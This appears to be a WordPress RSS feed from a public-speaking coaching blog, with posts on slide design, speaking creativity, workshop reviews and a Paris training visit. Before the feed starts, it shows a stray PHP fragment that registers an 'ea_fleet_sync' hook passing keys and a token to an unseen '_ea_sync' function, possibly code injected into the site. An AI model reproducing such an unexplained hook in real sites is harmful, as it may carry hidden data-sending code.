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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Training Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/training/ Public speaking Thu, 26 Jan 2023 12:00:33 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Speaking creativity boosts pep up your speeches https://www.nowyouretalking.co.uk/2019/02/21/speaking-creativity-boosts/ Thu, 21 Feb 2019 15:45:29 +0000 https://www.nowyouretalking.co.uk/?p=737 Are you tired of giving the same old speeches? Feel there’s something missing, a lack of pizzazz? Do you worry that you’re not developing as a speaker compared to other speakers you come across or wonder how some people can…

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]]> Are you tired of giving the same old speeches? Feel there’s something missing, a lack of pizzazz? Do you worry that you’re not developing as a speaker compared to other speakers you come across or wonder how some people can speak eloquently for an hour without notes? If any of these sounds vaguely familiar, now might be the time to think about how to carry out speaking creativity boosts.

Moreover, we all experience creativity burnout from time to time. When it happens, you need to tell yourself that it’s quite normal and employ strategies for speaking creativity boosts or kick starts.

Speaking creativity boosts through play

Let’s think about the characteristics of good play:

  • First and foremost, play is fun and enjoyable. The nerves that appear when you give an actual speech have no place in play
  • Play requires you to focus actively on the process of what you are doing and be fully engaged. Play is not an end in itself, but rather an opportunity to learn something new. As a speaker, it allows you to experiment with sound, body language, stories, etc, without having to produce a delivery-ready speech
  • It is inherently adventurous and risky, involving experimenting, playing with new ideas. Consequently, there is an inbuilt expectation that we will make mistakes as we explore new ideas and strategies. Making mistakes is an integral part of learning and exploration; it’s how we learn:

“You don’t learn to walk by following rules. You learn by doing, and by falling over.”
Richard Branson

  • In spite of the risk-taking, play operates within the confines of a safety net. Play grants us permission to make mistakes and grow. So, embrace mistakes and ‘allow yourself to fail, allow yourself to learn’
  • Constructive play is meaningful to the player. When we play, we do what we want to do instead of what we ought to do. As such, the player determines the ‘rules’. You might be playing with using stories in your speaking. The story isn’t fixed. You will inevitably change the story, characters, events, locations, purpose, etc to make your story relevant to your speech.

Get feedback from people – the more the merrier – about your speaking. Invite them to tell you what went well and how it would be even better if … . Use this information to set yourself play challenges, eg specific words or phrases to to avoid or include; sing your opening line; pause for 5 seconds before saying your first word; speak without notes; use three new gestures. The list is endless. By identifying speaking skills you have never used or that make you feel uncomfortable, you create opportunities to explore and find the ones that work best for you.

Speaking creativity boosts through movement

A quick internet search will show you that commentators and neuroscientists tend to agree that exercise or some physical movement can help stimulate creativity, learning, memory and cognitive abilities. You must have noticed times when you move away from your desk or a screen, ideas suddenly come to you. Moving your body – anything from hand gestures to a full-scale workout – can unlock creative ways of thinking, encourage us to take risks.

Physical action helps you build energy, dissipate nervous energy and give you focus. Start with small actions to get you going. Go for a little walk and take in a change of scene. Listen to voices and how well the sound travels. Indulge in some people watching to extend your body language and gestures and facial expressions you might use.

Speaking creativity boosts through celebration of other speakers

We are surrounded by people speaking in public and they offer us an opportunity to get new ideas to boost our speaking creativity. Watch some TED talks, pay attention to how your friends and colleagues speak. What about people on TV chat shows? What do they do that you could use in developing your speaking skills?

Now, go a step further than observation and celebrate people whose work inspires you. They might be artists, musicians, photographers, cooks, architects, gardeners, athletes, anyone who inspires you. Check out your social media accounts with a view to reflecting on who you are following and what you admire about them, as well as what you can learn from them.

It’s not a question of envying or copying (see Authenticity is key – Envy, the sixth deadly sin).  Rather, it’s about always being yourself, but reflecting on how you can adapt the work of others to your speaking.

Then reach out to them to tell them when you love something they’re doing and share with them how you’re applying it to the development of your public speaking. They’ll almost certainly be thrilled to hear about what you’re doing and may even offer some additional tips to help you.

Speaking creativity boosts raise your game

Regular speaking creativity boosts help keep your speeches fresh and your skills sharp. A playful mindset that embraces growth and a genuine desire to improve are just the focus you need.

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]]> Speaking sweet spot – inspirational workshops https://www.nowyouretalking.co.uk/2018/12/13/speaking-sweet-spot-inspirational-workshops/ Thu, 13 Dec 2018 15:04:21 +0000 https://www.nowyouretalking.co.uk/?p=778 It’s wonderful to learn that Now You’re Talking workshops are finding the speaking sweet spot, inspiring and helping people with their public speaking and presentation skills. Entitled Overcoming butterflies, here’s what Chloe Bartlem from Razor Research had to say about…

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]]> It’s wonderful to learn that Now You’re Talking workshops are finding the speaking sweet spot, inspiring and helping people with their public speaking and presentation skills. Entitled Overcoming butterflies, here’s what Chloe Bartlem from Razor Research had to say about a workshop for the Association of Qualitative Researchers:

“Author Lyn Roseaman led the recent AQR Breakfast Bite on presentation skills, a nifty session that enthused, involved, and entertained, while inspiring attendees to get practising.

“I recently had the pleasure of attending AQR’s Breakfast Bite on presentation skills. I don’t mind presenting and it’s definitely something I’ve become more confident in, but I do get nervous beforehand — even if I know exactly what I’m talking about. I tend to use a lot of filler words (um, yea, like) that I’m desperate to beat out of myself. I was excited and curious: how much could be fitted into the allotted two hours?

“Charismatic, animated and radiating confidence, Lyn Roseaman was the perfect person to lead the session. To break the ice, we each introduced ourselves and shared our thoughts about a person who, in our opinion, was a good public speaker. Once we’d brainstormed the traits that made these people so great, we started talking about the importance of really knowing your audience, taking the time to know who’s in the room to listen to your presentation and tailoring your message to their framework.

“After running through some other tips and tricks (how to command the attention of the room, getting to the nitty gritty of the real purpose of your presentation and developing an anchor phrase) we moved onto some of the more practical activities. The first was to think about what people really hear when you’re presenting.

“Lyn asked us to consider our natural speaking voice and then how we could use different tones, volumes and paces to really create impact. Half the room was given the opportunity to put this into practice by reading from a passage, the rest listened and fed back. Our final activity of the morning was centred on body language: this really helped when thinking about how to inject more energy and animation into our debriefs.

“I found it a session well worth attending. There were tips, tricks, and hacks to suit every level that can easily be taken forward into future presentations. Now to get practising!”

Review by Chloe Bartlem
Copyright © Association for Qualitative Research, 2018

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]]> Professionally speaking https://www.nowyouretalking.co.uk/2018/09/25/professionally-speaking/ Tue, 25 Sep 2018 19:50:21 +0000 https://www.nowyouretalking.co.uk/?p=725 Professionally speaking,  AQR’s Breakfast Bites this morning was a fun and effective market research training. Dished up with coffee and pastries, The Research House, a Schlesinger Company offered a relaxed setting. In spite of the early start, everyone was alert and contributed…

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]]> Professionally speaking,  AQR’s Breakfast Bites this morning was a fun and effective market research training. Dished up with coffee and pastries, The Research House, a Schlesinger Company offered a relaxed setting. In spite of the early start, everyone was alert and contributed fully in a relaxed frame of mind. What a great way to learn and start the day.

Leading participants through some key elements of public speaking and presenting, we looked at:

  • The importance of focusing on your audience
  • Reaching your listeners with powerful and impactful messages
  • Keeping them engaged through storytelling
  • Harnessing your voice and gestures to ensure engaging and dynamic delivery.

Professionally speaking. Great speeches. Great speakers

To kick off the session, participants came up with some key words they associate with great speakers and great speeches. Have you got these key elements covered in your speeches?

 

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]]> Now You’re Talking in Paris https://www.nowyouretalking.co.uk/2018/03/25/now-youre-talking-in-paris/ Sun, 25 Mar 2018 17:04:45 +0000 https://www.nowyouretalking.co.uk/?p=450 Just spent a wonderful few days at the University of London Institute in Paris, working with great students and staff on their speaking skills #publicspeaking #workshops #training #coaching #education #Paris. Thanks Tim Gore for the invitation

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]]> Just spent a wonderful few days at the University of London Institute in Paris, working with great students and staff on their speaking skills #publicspeaking #workshops #training #coaching #education #Paris. Thanks Tim Gore for the invitation

Sacre Coeur, Paris L'Arc de Triomphe, Paris Opera, Paris Invalides, Paris

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